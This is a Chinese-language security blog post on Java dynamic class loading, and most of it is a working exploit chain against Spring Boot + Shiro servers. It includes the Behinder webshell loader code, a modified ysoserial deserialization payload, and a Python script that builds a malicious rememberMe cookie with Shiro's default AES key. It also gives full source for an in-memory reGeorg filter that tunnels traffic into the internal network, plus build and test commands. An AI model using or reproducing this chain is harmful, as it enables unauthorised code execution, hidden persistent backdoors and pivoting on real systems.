Java代码执行漏洞中类动态加载的应用
2020-07-06 21:08:10 Author: wiki.ioin.in(查看原文) 阅读量:850 收藏

淚笑 边界无限

Java类动态加载

Java中类的加载方式分为显式和隐式,隐式加载是通过new等途径生成的对象时Jvm把相应的类加载到内存中,显示加载是通过 Class.forName(..) 等方式由程序员自己控制加载,而显式类加载方式也可以理解为类动态加载,我们也可以自定义类加载器去加载任意的类。

自定义ClassLoader

java.lang.ClassLoader是所有的类加载器的父类,其他子类加载器例如URLClassLoader 都是通过继承 java.lang.ClassLoader 然后重写父类方法从而实现了加载目录 class 文件或者远程资源文件

在网站管理工具"冰蝎"中用到了这种方法

冰蝎服务端核心代码:

class U extends ClassLoader{   U(ClassLoader c){       super(c);  }
public Class g(byte []b){ return super.defineClass(b,0,b.length); }
}
new U(this.getClass().getClassLoader()).g(classBytes).newInstance().equals(pageContext);

代码中创建了U类继承 ClassLoader ,然后自定义一个名为 g 的方法,接收字节数组类型的参数并调用父类的 defineClass 动态解析字节码返回 Class 对象,然后实例化该类并调用 equals 方法,传入 jsp 上下文中的 pageContext 对象。

其中 bytecode 就是由冰蝎客户端发送至服务端的字节码,改字节码所代表的类中重写了 equals 方法,从 pageContext 中提取 request ,response 等对象作参数的获取和执行结果的返回

反射调用defineClass

上文中新建了一个类来实现动态加载字节码的功能,但在某些利用场景使用有一定限制,所以也可以通过直接反射调用 ClassLoader 的 defineClass 方法动态加载字节码而不用新建其他 Java 类

java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});defineClassMethod.setAccessible(true);Class cc = (Class) defineClassMethod.invoke(new ClassLoader(){}, classBytes, 0, classBytes.length);

在调用 defineClass 时,重新实例化了一个 ClassLoader ,new ClassLoader(){} ,这是因为在 Java 中类的唯一性由类加载器和类本身决定,如果沿用当前上下文中的类加载器实例,而 POC 中使用同一个类名多次攻击,可能出现类重复定义异常

Shiro反序列化上载reGeorg代理

举个实际应用的例子,针对一个完全不出网的 Spring Boot + Shiro 程序如何进行内网渗透,这种情况下不能写 jsp 马,而且不能出网自然不能作反弹 shell 等操作,要进行内网渗透我觉得最好的方式就是动态注册filter或者 servlet ,并将 reGeorg 的代码嵌入其中,但如果将 POC 都写在 header 中,肯定会超过中间件 header 长度限制,当然在某些版本也有办法修改这个长度限制,参考(基于全局储存的新思路 | Tomcat的一种通用回显方法研究),如果采用上文中从外部加载字节码的方法那么这个问题就迎刃而解。

改造ysoserial

为了在 ysoserial 中正常使用下文中提到的类,需要先在 pom.xml 中加入如下依赖

<dependency>   <groupId>org.apache.tomcat.embed</groupId>   <artifactId>tomcat-embed-core</artifactId>   <version>8.5.50</version></dependency>
<dependency><groupId>org.springframework</groupId><artifactId>spring-web</artifactId><version>2.5</version></dependency>

要让反序列化时运行指定的 Java 代码,需要借助 TemplatesImpl ,在 ysoserial 中新建一个类并继承 AbstractTranslet ,这里有不理解的可以参考(有关TemplatesImpl的反序列化漏洞链

静态代码块中获取了 Spring Boot 上下文里的 request ,response 和 session ,然后获取 classData 参数并通过反射调用 defineClass 动态加载此类,实例化后调用其中的 equals 方法传入 request ,response 和 session 三个对象

package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class MyClassLoader extends AbstractTranslet { static{ try{ javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest(); java.lang.reflect.Field r=request.getClass().getDeclaredField("request"); r.setAccessible(true); org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse(); javax.servlet.http.HttpSession session = request.getSession();
String classData=request.getParameter("classData"); System.out.println(classData);
byte[] classBytes = new sun.misc.BASE64Decoder().decodeBuffer(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length); cc.newInstance().equals(new Object[]{request,response,session}); }catch(Exception e){ e.printStackTrace(); } } public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException { } public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException { }}

然后在 ysoserial.payloads.util 包的 Gadgets 类中照着原有的 createTemplatesImpl 方法添加一个 createTemplatesImpl(Class c) ,参数即为我们要让服务端加载的类,如下直接将传入的 c 转换为字节码赋值给了 _bytecodes

public static <T> T createTemplatesImpl(Class c) throws Exception {   Class<T> tplClass = null;
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { tplClass = (Class<T>) Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"); }else{ tplClass = (Class<T>) TemplatesImpl.class; }
final T templates = tplClass.newInstance(); final byte[] classBytes = ClassFiles.classAsBytes(c);
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes });
Reflections.setFieldValue(templates, "_name", "Pwnr"); return templates;}

最后复制 CommonsBeanutils1.java 的代码增加一个 payload CommonsBeanutils1_ClassLoader.java,再把其中

final Object templates = Gadgets.createTemplatesImpl(command);

修改为

final Object templates = Gadgets.createTemplatesImpl(ysoserial.MyClassLoader.class);

打包

mvn clean package -DskipTests

借以下脚本生成 POC

#python2#pip install pycryptoimport sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AES
key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCIV = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, IV)
payload=base64.b64decode(sys.argv[1])BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()payload=pad(payload)
print(base64.b64encode(IV + encryptor.encrypt(payload)))
python2 shiro_cookie.py `java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1_ClassLoader anything |base64 |sed ':label;N;s/\n//;b label'`

改造reGeorg

对于 reGeorg 服务端的更改其实也就是 request 等对象的获取方式,为了方便注册 filter ,我直接让该类实现了 Filter 接口,在 doFilter 方法中完成 reGeorg 的主要逻辑,在 equals 方法中进行filter的动态注册

package reGeorg;
import javax.servlet.*;import java.io.IOException;
public class MemReGeorg implements javax.servlet.Filter{ private javax.servlet.http.HttpServletRequest request = null; private org.apache.catalina.connector.Response response = null; private javax.servlet.http.HttpSession session =null;
@Override public void init(FilterConfig filterConfig) throws ServletException { } public void destroy() {} @Override public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException { javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1; javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1; javax.servlet.http.HttpSession session = request.getSession(); String cmd = request.getHeader("X-CMD"); if (cmd != null) { response.setHeader("X-STATUS", "OK"); if (cmd.compareTo("CONNECT") == 0) { try { String target = request.getHeader("X-TARGET"); int port = Integer.parseInt(request.getHeader("X-PORT")); java.nio.channels.SocketChannel socketChannel = java.nio.channels.SocketChannel.open(); socketChannel.connect(new java.net.InetSocketAddress(target, port)); socketChannel.configureBlocking(false); session.setAttribute("socket", socketChannel); response.setHeader("X-STATUS", "OK"); } catch (java.net.UnknownHostException e) { response.setHeader("X-ERROR", e.getMessage()); response.setHeader("X-STATUS", "FAIL"); } catch (java.io.IOException e) { response.setHeader("X-ERROR", e.getMessage()); response.setHeader("X-STATUS", "FAIL"); } } else if (cmd.compareTo("DISCONNECT") == 0) { java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket"); try{ socketChannel.socket().close(); } catch (Exception ex) { } session.invalidate(); } else if (cmd.compareTo("READ") == 0){ java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket"); try { java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(512); int bytesRead = socketChannel.read(buf); ServletOutputStream so = response.getOutputStream(); while (bytesRead > 0){ so.write(buf.array(),0,bytesRead); so.flush(); buf.clear(); bytesRead = socketChannel.read(buf); } response.setHeader("X-STATUS", "OK"); so.flush(); so.close(); } catch (Exception e) { response.setHeader("X-ERROR", e.getMessage()); response.setHeader("X-STATUS", "FAIL"); }
} else if (cmd.compareTo("FORWARD") == 0){ java.nio.channels.SocketChannel socketChannel = (java.nio.channels.SocketChannel)session.getAttribute("socket"); try { int readlen = request.getContentLength(); byte[] buff = new byte[readlen]; request.getInputStream().read(buff, 0, readlen); java.nio.ByteBuffer buf = java.nio.ByteBuffer.allocate(readlen); buf.clear(); buf.put(buff); buf.flip(); while(buf.hasRemaining()) { socketChannel.write(buf); } response.setHeader("X-STATUS", "OK"); } catch (Exception e) { response.setHeader("X-ERROR", e.getMessage()); response.setHeader("X-STATUS", "FAIL"); socketChannel.socket().close(); } } } else { filterChain.doFilter(request, response); } }
public boolean equals(Object obj) { Object[] context=(Object[]) obj; this.session = (javax.servlet.http.HttpSession ) context[2]; this.response = (org.apache.catalina.connector.Response) context[1]; this.request = (javax.servlet.http.HttpServletRequest) context[0];
try { dynamicAddFilter(new MemReGeorg(),"reGeorg","/*",request); } catch (IllegalAccessException e) { e.printStackTrace(); }
return true; }
public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException { javax.servlet.ServletContext servletContext=request.getServletContext(); if (servletContext.getFilterRegistration(name) == null) { java.lang.reflect.Field contextField = null; org.apache.catalina.core.ApplicationContext applicationContext =null; org.apache.catalina.core.StandardContext standardContext=null; java.lang.reflect.Field stateField=null; javax.servlet.FilterRegistration.Dynamic filterRegistration =null;
try { contextField=servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext); contextField=applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext); stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP); filterRegistration = servletContext.addFilter(name, filter); filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url}); java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, null); stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); }catch (Exception e){ ; }finally { stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED); } } }}

编译后使用如下命令得到其字节码的 base64

cat MemReGeorg.class|base64 |sed ':label;N;s/\n//;b label'

测试

在 Cookie 处填入 rememberMe=[ysoserial生成的POC],POST 包体填入 classData=[MemReGeorg类字节码的base64] ,注意 POST 中参数需要 URL 编码,然后发包

然后带上 X-CMD:l3yxheader 头再请求页面,返回 X-STATUS: OK 说明 reGeorg 已经正常工作

reGeorg 客户端也需要修改一下,原版会先 GET 请求一下网页判断是否是 reGeorg 的 jsp 页面,由于这里是添加了一个 filter ,正常访问网页是不会有变化的,只有带上相关头才会进入 reGeorg 代码,所以需要将客户端中相关的验证去除

在 askGeorg 函数第一行增加 return True 即可

连接 reGeorg

参考

  • https://xz.aliyun.com/t/2744

  • https://xz.aliyun.com/t/7388


文章来源: https://wiki.ioin.in/url/B6bd
如有侵权请联系:admin#unsafe.sh